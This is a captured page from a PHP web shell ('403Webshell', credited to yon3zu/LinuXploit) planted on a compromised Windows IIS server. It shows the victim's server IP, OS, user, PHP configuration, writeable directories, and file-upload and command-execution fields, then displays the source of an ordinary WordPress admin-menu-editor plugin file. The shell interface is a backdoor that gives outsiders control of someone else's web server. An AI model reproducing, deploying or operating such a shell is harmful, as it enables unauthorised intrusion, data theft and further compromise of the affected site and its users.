403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.25
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/KnowledgeBase/wp-content/plugins/admin-menu-editor/modules/admin-css/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/KnowledgeBase/wp-content/plugins/admin-menu-editor/modules/admin-css/admin-css.php
<?php

class ameAdminCss extends ameModule {
	protected $tabSlug = 'admin-css';
	protected $tabTitle = 'CSS';

	public function enqueueTabScripts() {
		parent::enqueueTabScripts();

		$menuConfig = $this->menuEditor->get_active_admin_menu();

		//We really only need a couple of menu properties for this feature, like the titles and URLs.
		$items = array_values(array_map(array($this, 'getRelevantMenuProperties'), $menuConfig['tree']));
	}

	private function getRelevantMenuProperties($menuItem) {
		$properties = array(
			'menu_title' => ameMenuItem::get($menuItem, 'menu_title', '(Untitled Item)'),
			'url'        => ameMenuItem::get($menuItem, 'url'),
		);

		if ( ameMenuItem::get($menuItem, 'separator', false) ) {
			$properties['separator'] = true;
		}

		if ( !empty($menuItem['items']) ) {
			$properties['items'] = array_values(array_map(
				array($this, 'getRelevantMenuProperties'),
				$menuItem['items']
			));
		}

		return $properties;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit